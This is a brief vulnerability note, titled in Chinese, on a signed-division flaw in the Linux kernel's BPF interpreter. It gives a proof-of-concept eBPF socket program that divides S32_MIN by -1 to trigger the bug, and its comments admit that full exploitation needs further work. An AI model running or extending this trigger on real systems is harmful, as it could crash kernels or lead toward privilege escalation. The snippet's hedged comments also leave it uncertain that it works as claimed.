Linux Kernel BPF解释器有符号除法越界漏洞

// PoC Concept for CVE-2026-31525 // This eBPF snippet demonstrates the trigger condition. // It attempts to perform signed division with INT_MIN. #include <linux/bpf.h> #include <bpf/bpf_helpers.h> SEC("socket") int trigger_sdiv_min(struct __sk_buff *skb) { // S32_MIN value (0x80000000) int s32_min = -2147483648; // The interpreter mishandles abs(s32_min) during division. // Verifier might track this differently than the interpreter executes. // Exploiting this requires complex map value manipulation. volatile int result = s32_min / -1; return result; } char _license[] SEC("license") = "GPL";